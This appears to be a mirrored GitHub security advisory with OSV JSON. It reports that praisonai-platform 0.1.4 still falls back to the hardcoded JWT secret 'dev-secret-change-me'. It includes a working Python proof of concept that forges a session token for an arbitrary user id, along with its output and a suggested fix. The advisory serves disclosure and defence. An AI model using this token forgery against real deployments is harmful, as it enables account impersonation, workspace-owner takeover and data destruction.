GHSA-F38V-77QJ-H4JQ
Vulnerability from github – Published: 2026-06-18 14:27 – Updated: 2026-06-18 14:27-
Affected: praisonai-platform (PyPI) <= 0.1.4 — including 0.1.4, the version GHSA-3qg8-5g3r-79v5 declares as the patch; main HEAD 8acf77c531e624c46d3d61dcae37e9942e90972c is also affected. File src/praisonai-platform/praisonai_platform/services/auth_service.py
-
CWE: CWE-1188 (Insecure Default Initialization) + CWE-798 (Use of Hard-coded Credentials) -> CWE-287 (Improper Authentication)
Overview
GHSA-3qg8-5g3r-79v5 (Critical) reported that praisonai-platform's JWT signing secret defaulted to the hardcoded literal "dev-secret-change-me", and that the production guard meant to prevent this was default-open (it only fired when PLATFORM_ENV != "dev", but PLATFORM_ENV defaults to "dev"). That advisory declares the issue patched in >= 0.1.4. It is not. The shipped praisonai-platform==0.1.4 (and current main) still resolves the signing key to "dev-secret-change-me" in any deployment that does not explicitly set PLATFORM_JWT_SECRET, because the 0.1.4 change merely duplicated the same default-open guard into a second function instead of failing closed. An unauthenticated attacker reads the literal from the public source, forges a JWT with an arbitrary sub, and is authenticated as that user — including a workspace owner.
Impact
Any deployment that runs praisonai-platform 0.1.4 without explicitly exporting a strong PLATFORM_JWT_SECRET signs and verifies session JWTs with the publicly known key "dev-secret-change-me". The package's documented entry point — python -m praisonai_platform --host 0.0.0.0 --port 8000 (equivalently uvicorn praisonai_platform.api.app:app --host 0.0.0.0) — sets neither PLATFORM_JWT_SECRET nor PLATFORM_ENV, so this is the default state, not an edge case. A repository-wide search finds both variables only at the two guard sites and in test fixtures; no shipped Dockerfile, compose file, or deployment doc sets either.
Consequences:
-
Complete authentication bypass (unauthenticated). Knowing only the public default secret read from source, an attacker mints HS256({"sub": , "email": …, "exp": }, "dev-secret-change-me"). The platform's own verifier accepts it and returns an authenticated identity for the attacker-chosen sub — no account and no prior access required. This is the headline defect: the identical break GHSA-3qg8 was scored 9.8 for.
-
Workspace-owner takeover (when a target owner's id is known). Forging the sub of a workspace owner satisfies require_workspace_member / require_workspace_owner and the owner-gated routes, yielding owner-level read/update/delete of every resource in that workspace plus member/role management. uuid4 user ids are unguessable, so impersonating a specific owner additionally requires learning that owner's id — which any co-member can read directly from GET /{workspace_id}/members (returns List[MemberResponse], each carrying user_id and role, to any holder of require_workspace_member), and which also surfaces in logs and referrals. The end state matches the three Critical advisories of the 0.1.4 wave (this one, plus GHSA-c2m8-4gcg-v22g 9.6 and GHSA-h8q5-cp56-rr65).
-
Resource destruction / lock-out (A:H). Owner impersonation reaches DELETE /workspaces/{workspace_id} (gated by require_workspace_owner), which deletes the entire workspace and every contained resource, and DELETE /{workspace_id}/members/{user_id}, which evicts legitimate members — irrecoverable denial of the workspace to its rightful users.
-
Affected population: every default (no PLATFORM_JWT_SECRET) deployment of 0.1.4 — the version users upgrade to specifically because GHSA-3qg8 told them 0.1.4 is fixed.
PR:N / AC:L apply to the authentication-bypass primitive: minting a valid session for a known sub needs no account, only the public secret. Targeted takeover of a specific owner additionally requires that owner's user id (readable by any co-member from the member-list response above, or recoverable from logs / prior exposure); this conditions the highest-impact path but not the bypass itself. The vector matches the PR:N/9.8 GitHub assigned the original GHSA-3qg8 for the identical defect.
Technical Details
All references are to src/praisonai-platform/praisonai_platform/... in praisonai-platform==0.1.4 (PyPI sdist) and main HEAD 8acf77c. The two copies of services/auth_service.py are byte-identical — sha256 = cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258 for both the shipped 0.1.4 sdist and the HEAD checkout — so the patched release and current main carry the same defect verbatim.
1. Module-load guard is default-open (services/auth_service.py:25-34).
DEFAULT_SECRET = "dev-secret-change-me"
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", DEFAULT_SECRET)
JWT_ALGORITHM = "HS256"
JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600)))
if JWT_SECRET == DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev":
raise RuntimeError(
"PLATFORM_JWT_SECRET must be set to a strong random value in production. "
"Set PLATFORM_ENV=dev to suppress this check during development."
)
The raise fires only when PLATFORM_ENV != "dev". But os.environ.get("PLATFORM_ENV", "dev") defaults to "dev", and PLATFORM_ENV is set nowhere in the package or its deployment configuration (a repo-wide search finds PLATFORM_ENV only at these two guard sites, and PLATFORM_JWT_SECRET only here plus in tests/ fixtures that set it explicitly — no Dockerfile, compose file, or doc sets either). So in a clean deployment the predicate is True and ("dev" != "dev") = False; the guard does not fire and JWT_SECRET stays "dev-secret-change-me".
2. The 0.1.4 "fix" duplicated the same default-open guard (services/auth_service.py:114-128). Instead of failing closed, 0.1.4 added the identical predicate to _issue_token:
def _issue_token(self, user: User) -> str:
if JWT_SECRET == DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev":
raise RuntimeError("Refusing to issue JWT with default PLATFORM_JWT_SECRET outside dev")
...
return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM) # signs with the default secret
GHSA-3qg8 states the intended fix is to "fail-closed at import time when the secret is the default, regardless of any environment variable." HEAD does not do that; both guard copies remain gated on the PLATFORM_ENV != "dev" condition that is false by default. The advisory's own patch threshold (>= 0.1.4) is therefore incorrect — 0.1.4 is still vulnerable.
3. Verification trusts the forged sub end-to-end (services/auth_service.py:131-141 -> api/deps.py:28-73).
def _verify_token(self, token):
payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM]) # default secret; alg pinned; exp checked
return AuthIdentity(id=payload["sub"], type="user", email=payload.get("email"), name=payload.get("name"))
get_current_user (deps.py:28) returns this identity directly; require_workspace_member (deps.py:54) authorizes purely from member_svc.has_role(workspace_id, identity.id, min_role) against the forged sub. Decoding is otherwise sound (HS256 pinned, exp enforced by PyJWT, no verify=False), so the only break is the default secret. No middleware or app-factory check re-validates (api/app.py mounts the routers with per-route Depends(get_current_user) and no global re-root).
The cross-workspace IDOR (GHSA-h8q5-cp56-rr65) and member-role privilege-escalation (GHSA-c2m8-4gcg-v22g) fixes were reviewed at HEAD and appear complete; this advisory is specific to the JWT-secret guard.
Reproduction
praisonai-platform is a Python server package, so the PoC is a self-contained Python reproducer that installs the shipped 0.1.4 release, simulates a default deployment (no env vars), forges a token with the public default secret, and feeds it to the package's own AuthService._verify_token.
mkdir poc && cd poc
pip install --target ./pkgs praisonai-platform==0.1.4 PyJWT
python3 poc.py
# poc.py
import os, sys
os.environ.pop("PLATFORM_JWT_SECRET", None) # default deployment: secret not set
os.environ.pop("PLATFORM_ENV", None) # default deployment: env not set -> guard default-open
sys.path.insert(0, "./pkgs")
from datetime import datetime, timedelta, timezone
import jwt
VICTIM_SUB = "11111111-2222-4333-8444-deadbeefcafe" # a target user/owner uuid4
now = datetime.now(timezone.utc)
forged = jwt.encode(
{"sub": VICTIM_SUB, "email": "victim@target", "name": "victim",
"iat": now, "exp": now + timedelta(hours=1)},
"dev-secret-change-me", algorithm="HS256", # the public hardcoded default
)
from praisonai_platform.services import auth_service as A
print("package JWT_SECRET (env unset) =", repr(A.JWT_SECRET), "| == default?", A.JWT_SECRET == "dev-secret-change-me")
identity = A.AuthService.__new__(A.AuthService)._verify_token(forged) # the package's own verifier
print("package _verify_token(forged) =", identity)
assert identity is not None and identity.id == VICTIM_SUB
print("RESULT: CONFIRMED — forged token accepted as victim")
End-to-end (runtime) verification
Observed output, run against the actually-installed praisonai-platform==0.1.4 (the GHSA-3qg8 "patched" release):
package JWT_SECRET (env unset) = 'dev-secret-change-me' | == default? True
package _verify_token(forged) = AuthIdentity(id='11111111-2222-4333-8444-deadbeefcafe', type='user', workspace_id=None, roles=[], email='victim@target', name='victim', metadata={})
RESULT: CONFIRMED — forged token accepted as victim
This is the package's own _verify_token (not a re-implementation) returning an authenticated AuthIdentity for an attacker-chosen sub, proving end-to-end that 0.1.4 accepts forged sessions in a default deployment. The intermediate observation (the module-level JWT_SECRET equals the public default) and the final sink (the verifier returns the victim identity) were both observed at runtime.
Default-open contrast
Setting only PLATFORM_ENV (still no PLATFORM_JWT_SECRET) makes the same guard fire at import — demonstrating that the only thing protecting a production deployment is an environment variable that defaults to the unsafe value:
PLATFORM_ENV=prod python3 -c "import praisonai_platform.services.auth_service"
File ".../praisonai_platform/services/auth_service.py", line 31, in <module>
raise RuntimeError(
RuntimeError: PLATFORM_JWT_SECRET must be set to a strong random value in production. Set PLATFORM_ENV=dev to suppress this check during development.
The guard can fail closed — it simply does not in the default (PLATFORM_ENV unset → "dev") state, which is exactly what GHSA-3qg8 reported and 0.1.4 left unchanged.
Suggested Fix
Fail closed, independent of PLATFORM_ENV:
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET")
if not JWT_SECRET:
raise RuntimeError("PLATFORM_JWT_SECRET must be set to a strong random value; refusing to start with a default key.")
if JWT_SECRET == "dev-secret-change-me":
raise RuntimeError("PLATFORM_JWT_SECRET is the well-known default; set a unique strong value.")
-
Remove the _DEFAULT_SECRET fallback entirely (no default signing key), or at minimum raise unconditionally when the secret is the default — do not gate that check on PLATFORM_ENV, whose default value ("dev") is precisely what disables the check.
-
Apply the same to the duplicated guard in _issue_token.
-
Consider generating a random per-process secret only for an explicit, clearly-flagged dev mode (e.g. PLATFORM_ENV=dev opt-in), so the safe default is fail-closed.
Disclosure Timeline
-
2026-05-30: Discovered as an incomplete fix of GHSA-3qg8-5g3r-79v5 while auditing praisonai-platform at main HEAD 8acf77c. Runtime-confirmed against the shipped PyPI release praisonai-platform==0.1.4: a token forged with the public default secret is accepted by the package's own AuthService._verify_token.
-
2026-05-30: Drafted for submission via GitHub Security Advisory (PraisonAI).
References
-
Original advisory (declares 0.1.4 patched): GHSA-3qg8-5g3r-79v5 — "praisonai-platform: JWT signing key defaults to hardcoded dev-secret-change-me … when PLATFORM_ENV is unset" (Critical, 9.8).
-
Affected source: src/praisonai-platform/praisonai_platform/services/auth_service.py:25-34 (module guard), :114-128 (_issue_token duplicate guard + sign), :130-141 (_verify_token); api/deps.py:28-73 (get_current_user, require_workspace_member); api/app.py (router mounting, no global auth re-root).
-
Shipped artifact verified: praisonai-platform==0.1.4 PyPI sdist (pyproject.toml:7 version = "0.1.4"); auth_service.py is byte-identical to main HEAD 8acf77c531e624c46d3d61dcae37e9942e90972c (sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258).
-
Sibling advisories from the same 0.1.4 wave (reviewed, fixes appear complete at HEAD): the wave closed three Critical advisories in total — this one (GHSA-3qg8-5g3r-79v5, 9.8) plus GHSA-c2m8-4gcg-v22g (member-role privilege escalation, 9.6) and GHSA-h8q5-cp56-rr65 (cross-workspace IDOR + role escalation) — alongside several High/Medium IDOR advisories.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.4"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai-platform"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-287",
"CWE-798"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:27:08Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "- Affected: praisonai-platform (PyPI) \u003c= 0.1.4 \u2014 including 0.1.4, the version GHSA-3qg8-5g3r-79v5 declares as the patch; main HEAD 8acf77c531e624c46d3d61dcae37e9942e90972c is also affected. File src/praisonai-platform/praisonai_platform/services/auth_service.py\n\n- CWE: CWE-1188 (Insecure Default Initialization) + CWE-798 (Use of Hard-coded Credentials) -\u003e CWE-287 (Improper Authentication)\n\n## Overview\n\nGHSA-3qg8-5g3r-79v5 (Critical) reported that praisonai-platform\u0027s JWT signing secret defaulted to the hardcoded literal \"dev-secret-change-me\", and that the production guard meant to prevent this was default-open (it only fired when PLATFORM_ENV != \"dev\", but PLATFORM_ENV defaults to \"dev\"). That advisory declares the issue patched in \u003e= 0.1.4. **It is not.** The shipped praisonai-platform==0.1.4 (and current main) still resolves the signing key to \"dev-secret-change-me\" in any deployment that does not explicitly set PLATFORM_JWT_SECRET, because the 0.1.4 change merely duplicated the same default-open guard into a second function instead of failing closed. An unauthenticated attacker reads the literal from the public source, forges a JWT with an arbitrary sub, and is authenticated as that user \u2014 including a workspace owner.\n\n## Impact\n\nAny deployment that runs praisonai-platform 0.1.4 without explicitly exporting a strong PLATFORM_JWT_SECRET signs and verifies session JWTs with the publicly known key \"dev-secret-change-me\". The package\u0027s documented entry point \u2014 `python -m praisonai_platform --host 0.0.0.0 --port 8000` (equivalently `uvicorn praisonai_platform.api.app:app --host 0.0.0.0`) \u2014 sets neither PLATFORM_JWT_SECRET nor PLATFORM_ENV, so this is the default state, not an edge case. A repository-wide search finds both variables only at the two guard sites and in test fixtures; no shipped Dockerfile, compose file, or deployment doc sets either.\n\nConsequences:\n\n- **Complete authentication bypass (unauthenticated).** Knowing only the public default secret read from source, an attacker mints HS256({\"sub\": \u003cuser id\u003e, \"email\": \u2026, \"exp\": \u003cfuture\u003e}, \"dev-secret-change-me\"). The platform\u0027s own verifier accepts it and returns an authenticated identity for the attacker-chosen sub \u2014 no account and no prior access required. This is the headline defect: the identical break GHSA-3qg8 was scored 9.8 for.\n\n- **Workspace-owner takeover (when a target owner\u0027s id is known).** Forging the sub of a workspace owner satisfies require_workspace_member / require_workspace_owner and the owner-gated routes, yielding owner-level read/update/delete of every resource in that workspace plus member/role management. uuid4 user ids are unguessable, so impersonating a specific owner additionally requires learning that owner\u0027s id \u2014 which any co-member can read directly from GET /{workspace_id}/members (returns List[MemberResponse], each carrying user_id and role, to any holder of require_workspace_member), and which also surfaces in logs and referrals. The end state matches the three Critical advisories of the 0.1.4 wave (this one, plus GHSA-c2m8-4gcg-v22g 9.6 and GHSA-h8q5-cp56-rr65).\n\n- **Resource destruction / lock-out (A:H).** Owner impersonation reaches DELETE /workspaces/{workspace_id} (gated by require_workspace_owner), which deletes the entire workspace and every contained resource, and DELETE /{workspace_id}/members/{user_id}, which evicts legitimate members \u2014 irrecoverable denial of the workspace to its rightful users.\n\n- **Affected population:** every default (no PLATFORM_JWT_SECRET) deployment of 0.1.4 \u2014 the version users upgrade to specifically because GHSA-3qg8 told them 0.1.4 is fixed.\n\nPR:N / AC:L apply to the authentication-bypass primitive: minting a valid session for a known sub needs no account, only the public secret. Targeted takeover of a specific owner additionally requires that owner\u0027s user id (readable by any co-member from the member-list response above, or recoverable from logs / prior exposure); this conditions the highest-impact path but not the bypass itself. The vector matches the PR:N/9.8 GitHub assigned the original GHSA-3qg8 for the identical defect.\n\n## Technical Details\n\nAll references are to src/praisonai-platform/praisonai_platform/... in praisonai-platform==0.1.4 (PyPI sdist) and main HEAD 8acf77c. The two copies of services/auth_service.py are byte-identical \u2014 sha256 = cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258 for both the shipped 0.1.4 sdist and the HEAD checkout \u2014 so the patched release and current main carry the same defect verbatim.\n\n**1. Module-load guard is default-open (services/auth_service.py:25-34).**\n\n```python\nDEFAULT_SECRET = \"dev-secret-change-me\"\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\", DEFAULT_SECRET)\nJWT_ALGORITHM = \"HS256\"\nJWT_TTL_SECONDS = int(os.environ.get(\"PLATFORM_JWT_TTL\", str(30 * 24 * 3600)))\nif JWT_SECRET == DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\":\n raise RuntimeError(\n \"PLATFORM_JWT_SECRET must be set to a strong random value in production. \"\n \"Set PLATFORM_ENV=dev to suppress this check during development.\"\n )\n```\n\nThe raise fires only when PLATFORM_ENV != \"dev\". But os.environ.get(\"PLATFORM_ENV\", \"dev\") defaults to \"dev\", and PLATFORM_ENV is set nowhere in the package or its deployment configuration (a repo-wide search finds PLATFORM_ENV only at these two guard sites, and PLATFORM_JWT_SECRET only here plus in tests/ fixtures that set it explicitly \u2014 no Dockerfile, compose file, or doc sets either). So in a clean deployment the predicate is True and (\"dev\" != \"dev\") = False; the guard does not fire and JWT_SECRET stays \"dev-secret-change-me\".\n\n**2. The 0.1.4 \"fix\" duplicated the same default-open guard (services/auth_service.py:114-128).** Instead of failing closed, 0.1.4 added the identical predicate to _issue_token:\n\n```python\ndef _issue_token(self, user: User) -\u003e str:\n if JWT_SECRET == DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\":\n raise RuntimeError(\"Refusing to issue JWT with default PLATFORM_JWT_SECRET outside dev\")\n ...\n return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM) # signs with the default secret\n```\n\nGHSA-3qg8 states the intended fix is to \"fail-closed at import time when the secret is the default, regardless of any environment variable.\" HEAD does not do that; both guard copies remain gated on the PLATFORM_ENV != \"dev\" condition that is false by default. The advisory\u0027s own patch threshold (\u003e= 0.1.4) is therefore incorrect \u2014 0.1.4 is still vulnerable.\n\n**3. Verification trusts the forged sub end-to-end (services/auth_service.py:131-141 -\u003e api/deps.py:28-73).**\n\n```python\ndef _verify_token(self, token):\n payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM]) # default secret; alg pinned; exp checked\n return AuthIdentity(id=payload[\"sub\"], type=\"user\", email=payload.get(\"email\"), name=payload.get(\"name\"))\n```\n\nget_current_user (deps.py:28) returns this identity directly; require_workspace_member (deps.py:54) authorizes purely from member_svc.has_role(workspace_id, identity.id, min_role) against the forged sub. Decoding is otherwise sound (HS256 pinned, exp enforced by PyJWT, no verify=False), so the only break is the default secret. No middleware or app-factory check re-validates (api/app.py mounts the routers with per-route Depends(get_current_user) and no global re-root).\n\nThe cross-workspace IDOR (GHSA-h8q5-cp56-rr65) and member-role privilege-escalation (GHSA-c2m8-4gcg-v22g) fixes were reviewed at HEAD and appear complete; this advisory is specific to the JWT-secret guard.\n\n## Reproduction\n\npraisonai-platform is a Python server package, so the PoC is a self-contained Python reproducer that installs the shipped 0.1.4 release, simulates a default deployment (no env vars), forges a token with the public default secret, and feeds it to the package\u0027s own AuthService._verify_token.\n\n```bash\nmkdir poc \u0026\u0026 cd poc\npip install --target ./pkgs praisonai-platform==0.1.4 PyJWT\npython3 poc.py\n```\n\n```python\n# poc.py\nimport os, sys\nos.environ.pop(\"PLATFORM_JWT_SECRET\", None) # default deployment: secret not set\nos.environ.pop(\"PLATFORM_ENV\", None) # default deployment: env not set -\u003e guard default-open\nsys.path.insert(0, \"./pkgs\")\n\nfrom datetime import datetime, timedelta, timezone\nimport jwt\n\nVICTIM_SUB = \"11111111-2222-4333-8444-deadbeefcafe\" # a target user/owner uuid4\nnow = datetime.now(timezone.utc)\nforged = jwt.encode(\n {\"sub\": VICTIM_SUB, \"email\": \"victim@target\", \"name\": \"victim\",\n \"iat\": now, \"exp\": now + timedelta(hours=1)},\n \"dev-secret-change-me\", algorithm=\"HS256\", # the public hardcoded default\n)\n\nfrom praisonai_platform.services import auth_service as A\nprint(\"package JWT_SECRET (env unset) =\", repr(A.JWT_SECRET), \"| == default?\", A.JWT_SECRET == \"dev-secret-change-me\")\nidentity = A.AuthService.__new__(A.AuthService)._verify_token(forged) # the package\u0027s own verifier\nprint(\"package _verify_token(forged) =\", identity)\nassert identity is not None and identity.id == VICTIM_SUB\nprint(\"RESULT: CONFIRMED \u2014 forged token accepted as victim\")\n```\n\n### End-to-end (runtime) verification\n\nObserved output, run against the actually-installed praisonai-platform==0.1.4 (the GHSA-3qg8 \"patched\" release):\n\n```text\npackage JWT_SECRET (env unset) = \u0027dev-secret-change-me\u0027 | == default? True\npackage _verify_token(forged) = AuthIdentity(id=\u002711111111-2222-4333-8444-deadbeefcafe\u0027, type=\u0027user\u0027, workspace_id=None, roles=[], email=\u0027victim@target\u0027, name=\u0027victim\u0027, metadata={})\nRESULT: CONFIRMED \u2014 forged token accepted as victim\n```\n\nThis is the package\u0027s own _verify_token (not a re-implementation) returning an authenticated AuthIdentity for an attacker-chosen sub, proving end-to-end that 0.1.4 accepts forged sessions in a default deployment. The intermediate observation (the module-level JWT_SECRET equals the public default) and the final sink (the verifier returns the victim identity) were both observed at runtime.\n\n### Default-open contrast\n\nSetting only PLATFORM_ENV (still no PLATFORM_JWT_SECRET) makes the same guard fire at import \u2014 demonstrating that the only thing protecting a production deployment is an environment variable that defaults to the unsafe value:\n\n```bash\nPLATFORM_ENV=prod python3 -c \"import praisonai_platform.services.auth_service\"\n```\n\n```text\n File \".../praisonai_platform/services/auth_service.py\", line 31, in \u003cmodule\u003e\n raise RuntimeError(\nRuntimeError: PLATFORM_JWT_SECRET must be set to a strong random value in production. Set PLATFORM_ENV=dev to suppress this check during development.\n```\n\nThe guard can fail closed \u2014 it simply does not in the default (PLATFORM_ENV unset \u2192 \"dev\") state, which is exactly what GHSA-3qg8 reported and 0.1.4 left unchanged.\n\n## Suggested Fix\n\nFail closed, independent of PLATFORM_ENV:\n\n```python\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\")\nif not JWT_SECRET:\n raise RuntimeError(\"PLATFORM_JWT_SECRET must be set to a strong random value; refusing to start with a default key.\")\nif JWT_SECRET == \"dev-secret-change-me\":\n raise RuntimeError(\"PLATFORM_JWT_SECRET is the well-known default; set a unique strong value.\")\n```\n\n- Remove the _DEFAULT_SECRET fallback entirely (no default signing key), or at minimum raise unconditionally when the secret is the default \u2014 do **not** gate that check on PLATFORM_ENV, whose default value (\"dev\") is precisely what disables the check.\n\n- Apply the same to the duplicated guard in _issue_token.\n\n- Consider generating a random per-process secret only for an explicit, clearly-flagged dev mode (e.g. PLATFORM_ENV=dev opt-in), so the safe default is fail-closed.\n\n## Disclosure Timeline\n\n- 2026-05-30: Discovered as an incomplete fix of GHSA-3qg8-5g3r-79v5 while auditing praisonai-platform at main HEAD 8acf77c. Runtime-confirmed against the shipped PyPI release praisonai-platform==0.1.4: a token forged with the public default secret is accepted by the package\u0027s own AuthService._verify_token.\n\n- 2026-05-30: Drafted for submission via GitHub Security Advisory (PraisonAI).\n\n## References\n\n- Original advisory (declares 0.1.4 patched): GHSA-3qg8-5g3r-79v5 \u2014 \"praisonai-platform: JWT signing key defaults to hardcoded dev-secret-change-me \u2026 when PLATFORM_ENV is unset\" (Critical, 9.8).\n\n- Affected source: src/praisonai-platform/praisonai_platform/services/auth_service.py:25-34 (module guard), :114-128 (_issue_token duplicate guard + sign), :130-141 (_verify_token); api/deps.py:28-73 (get_current_user, require_workspace_member); api/app.py (router mounting, no global auth re-root).\n\n- Shipped artifact verified: praisonai-platform==0.1.4 PyPI sdist (pyproject.toml:7 version = \"0.1.4\"); auth_service.py is byte-identical to main HEAD 8acf77c531e624c46d3d61dcae37e9942e90972c (sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258).\n\n- Sibling advisories from the same 0.1.4 wave (reviewed, fixes appear complete at HEAD): the wave closed three Critical advisories in total \u2014 this one (GHSA-3qg8-5g3r-79v5, 9.8) plus GHSA-c2m8-4gcg-v22g (member-role privilege escalation, 9.6) and GHSA-h8q5-cp56-rr65 (cross-workspace IDOR + role escalation) \u2014 alongside several High/Medium IDOR advisories.",
"id": "GHSA-f38v-77qj-h4jq",
"modified": "2026-06-18T14:27:08Z",
"published": "2026-06-18T14:27:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f38v-77qj-h4jq"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "praisonai-platform 0.1.4 still boots on the hardcoded JWT secret dev-secret-change-me (default-open production guard)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.